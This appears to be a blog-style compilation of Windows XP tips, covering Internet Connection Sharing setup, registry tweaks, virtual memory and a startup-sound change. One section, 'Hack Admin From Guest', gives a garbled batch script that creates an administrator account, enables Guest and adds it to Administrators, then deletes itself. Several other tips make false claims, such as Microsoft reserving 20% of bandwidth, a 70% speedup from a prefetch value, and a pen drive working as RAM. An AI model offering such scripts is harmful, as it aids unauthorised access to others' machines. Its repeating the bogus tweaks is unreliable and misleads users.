Set up and Use Internet Connection Sharing

Internet Connection Sharing (ICS) in Windows XP,with which you can connect one computer to the Internet, then share the Internet service with several computers at your home or small office network. For this The Network Setup Wizard in Windows XP Professional will automatically provide all of the network settings you need to share one Internet connection with all the computers among your network. Each computer can use programs such as Internet Explorer and Outlook Express as if they are directly connected to the Internet. You should not use this feature in an existing network with Windows 2000 Server domain controllers, DNS servers, gateways, DHCP servers, or systems configured for static IP addresses.


Enabling ICS:-
The ICS host computer needs two network connections. The local area network connection, automatically created by installing a network adapter, connects to the computers on your home or small office network. The other connection, using a 56k modem, ISDN, DSL, or cable modem, connects the home or small office network to the Internet. You need to ensure that ICS is enabled on the connection that has the Internet connection. By doing this, the shared connection can connect your home or small office network to the Internet, and users outside your network are not at risk of receiving inappropriate addresses from your network. When you enable ICS, the local area network connection to the home or small office network is given a new static IP address and configuration. Consequently, TCP/IP connections established between any home or small office computer and the ICS host computer at the time of enabling ICS are lost and need to be reestablished. For example, if Internet Explorer is connecting to a Web site when Internet Connection Sharing is enabled, refresh the browser to reestablish the connection. You must configure client machines on your home or small office network so TCP/IP on the local area connection obtains an IP address automatically. Home or small office network users must also configure Internet options for Internet Connection Sharing. To enable Internet Connection Sharing (ICS) Discovery and Control on Windows 98, Windows 98 Second Edition, and Windows Millennium Edition computers, run the Network Setup Wizard from the CD or floppy disk on these computers. For ICS Discovery and Control to work on Windows 98, Windows 98 Second Edition, and Windows Millennium Edition computers, Internet Explorer version 5.0 or later must be installed.

To enable Internet Connection Sharing on a network connection You must be logged on to your computer with an owner account in order to complete this procedure. Open Network Connections. (Click Start, click Control Panel, and then double–click Network Connections.)
Click the dial–up, local area network, PPPoE, or VPN connection you want to share, and then, under Network Tasks, click Change settings of this connection.
On the Advanced tab, select the Allow other network users to connect through this computer's Internet connection check box. If you want this connection to dial automatically when another computer on your home or small office network attempts to access external resources, select the Establish a dial–up connection whenever a computer on my network attempts to access the Internet check box.
If you want other network users to enable or disable the shared Internet connection, select the Allow other network users to control or disable the shared Internet connection check box.
Under Internet Connection Sharing, in Home networking connection, select any adapter that connects the computer sharing its Internet connection to the other computers on your network. The Home networking connection is only present when two or more network adapters are installed on the computer.
To configure Internet options on your client computers for Internet Connection Sharing Open Internet Explorer. Click Start, point to All Programs, and then click Internet Explorer.)
On the Tools menu, click Internet Options.
On the Connections tab, click Never dial a connection, and then click LAN Settings. In Automatic configuration, clear the Automatically detect settings and Use automatic configuration script check boxes.
In Proxy Server, clear the Use a proxy server check box.

Rename your recyle bin As you wish

You can rename your recycle bin as you wish by making some little chnages with your registry editor. It's simple and very interesting.

1) Goto Start button > click on Run.
2) Type regedit.exe and press enter you will get display of regedit editor.
3) Now navigate to HKEY_CLASSES_ROOT folder, In this folder open CLSID folder then open {645FF040-5081-101B-9F08-00AA002F954E} folder >ShellFolder folder at last. Here change the data value from "40 01 00 20" to "70 01 00 20".
4) When you will done with all above steps you have to restart your computer,after restart you will find rename option to right click for recycle bin. So now you can rename recycle bin as your
wish.

Run your Applications more faster than they used to b....working great for me

Yes you can speed up your all applications about 70% by making some modyfications in your registry.i'm using it for my system and results are awsome i will request you please try dis trick.
it can resolve your problems like system hang,slow openings of applications and windows.
steps to be followed :-
1) Goto start_run_Regedit
2)And navigate to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentConrolSet\Control \Session Manager\Memory Management\PrefetchParameters.....Look For The DWORD KEY : ENABLEPREFETCHERA
Its default value is 3 , you just have to change it to 6.
now refresh your registry and restart your pc.
and see the change in your system

Using Pen Drive As a Memory

Yes with some modofied settings you can use your pen drive as a memory(RAM) now. It will help you a lot when your pc is having a big load or When you are missing and wishing some memory when you want to play some big games In which you are curious. Now the thing is dat you can not purchase new memory instantly for such instances. So i hav a trick which will benifit to you all and the trick which wil relax your computer.the trick is that you can use your pen drive as memory. You just need to follow this steps:-

1) Connect your pen drive to your pc
[pen drive should be atleast 1 gb or if you having 4 gb then its better]
2) Allow pc what he is supposed to do,let system to detect pen drive.
3) After your pc finished with his detection work,you hav to do some lottle work
4) Right click on the My Computer and select the properties
5) Goto advanced and then performance setting then advanced then change.
6) Select pen drive and click on custom size
" Check the value of space available "
7) Enter the same in the Initial and the Max columns
" You just used the memory of the PenDrive as a Virtual Memory "
8) Now restart your pc and enjoy your fast and super system

Set Any Song Which You Want At Window Startup Instead of default

Every time when we switch on our pc we gets a dafault sound in xp
but you can set your recording, favourite song title or any themes.
and it is as simple as just browsing that file but the condition is only that file should be in wav format.
The steps are as follows:-

Go to start then setting then control panel then sounds and audio devices then soundsin program events, select start windows, in below click on browse and select the audio song which u want.

Increase your internet speed as much as 20%...I'ts Working Great for Me

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc
To get it back:
Click Start then Run and type " gpedit.msc" without quotes.This opens the group policy editor. Then go to:Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth.Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."So the trick is to enable reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.

One Easiest Trick to Hack Admin From Guest

VISIT AS GAUEST BUT ENJOY ADMIN'S PRIVILEGES
And to enjoy all those privileges you just need to
copy following code to the notepad:

Quote:echo offtitle Please wait...clsnet user add Username Password /addnet user localgroup Administrators Username /addnet user Guest 420 /active:yesnet localgroup Guests Guest /DELETEnet localgroup Administrators Guest /adddel %0

after you done with pasting above code save the file as 'Guest2admin.bat'.
then double click to execute the same file and enjoy.

Low Virtual Memory Warning - Instant or temperory Fix iT

Are you getting a pop up by Windows that you have dangerously low virtual memory? You know, that little pop-up bubble in the lower right hand corner of the desktop screen.
Why are you getting this alert? When you are not have enough Computer Memory i.e. (RAM) in your computer to handle the tasks that you are request it to perform, your computer will use virtual memory. Virtual memory is an percentage of your hard drive that the computer will use to simulate the function that RAM (Random Access Memory) performs.
The proper way to resolve this trouble and eliminate that annoying pop-up window is to raise your computer’s memory. If you just want to temporaly fix it, follow the steps below:

1. Right click on My Computer and choose Properties.
2. Choose the Advanced tab.
3. At Performance section, click on the Settings.
4. In the Performance Settings, choose the Advanced option .
5. The Bottom section is the where you can set your Virtual Memory or Paging File size.
6. You can change the Maximum Size to a larger number than is already there. Many times it will read 512mb as default. This can be changed to 1gb or 2gb i.e. from 1024kb to 2048kb.

This will eliminate the alert and give your computer more room on the hard drive to use as virtual memory. A word of caution, by increasing this space, you are essentially removing some of your free space on your hard drive. Make sure that you have plenty of free space available (more than 15% free is a good).

This is a temporary solution! The only good way to overcome this warning is to increase the amount of RAM in your computer.

Set picture slideshow as ur desktop wallpaper

If you're bored of your desktop..... I have one program in majorgeeks and i wanted to introduce it to you, you need to download this program called "DeskSlide" which will dothe changing of wallpapers on your desktop later on . Use the following steps:-

1)You must have a no. of wallpapers available lets say 6/8 for the minimum
2) Download Deskslide in either of these locations:Homepage or MajorGeeks
3)Install Deskslide
4)After that,go to deskslides main window click on slides in somewhere in the lower portion of the main window (the one with 2 rectangles)
5)A new window will appear bottom of the main window click the "+" sign
6)Another window will appear so specify the path of your wallpaper (you have to do thisfor each wallpaper)
7)After that,you will see the wallpaper in the slides list so right click on it then go to "layout"choose "full bleed" (depending on the size of your picture will vary the appearance of your desktopfull bleed maximizes your wallpaper in the desktop)Note:You may also choose other layouts like Tile,Center,etc.
8)Do this for the rest of the other wallpapers you wish to use in the animation of your desktop9.)Click the clock image in the main menu and set the rate to 30 seconds which i reccommend10.)Press the play botton in the main menu and watch your desktop animate you can also stop deskslide from playing slides at anytime by clicking the stop botton from the main menuHope this program can entertain you

Unable to use show hidden files option try dis

nowadays there is one common problem that many are not able to view hidden files and folder even after enabling show hidden files and folders in folder options .. please follow dis steps to enable it again..Open the registry editor (Click on Start then run and type regedit press enter )..Now you will see a new window on the left pane Navigate to the following path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden
Under this key, you’ll see 2 more keys “NOHIDDEN” and “SHOWALL“. Make sure that the values of “CheckedValue” and “DefaultValue” in right-side pane are “2” and “2” for “NOHIDDEN” and “1” and “2” for “SHOWALL” respectively. If it has some other value change it..Now check whether you are able to hide or unhide..
If this doesnt work try this..Navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
now at right-side pane, change value of "Hidden" to:
1 - To show hidden files2 - To not show hidden files

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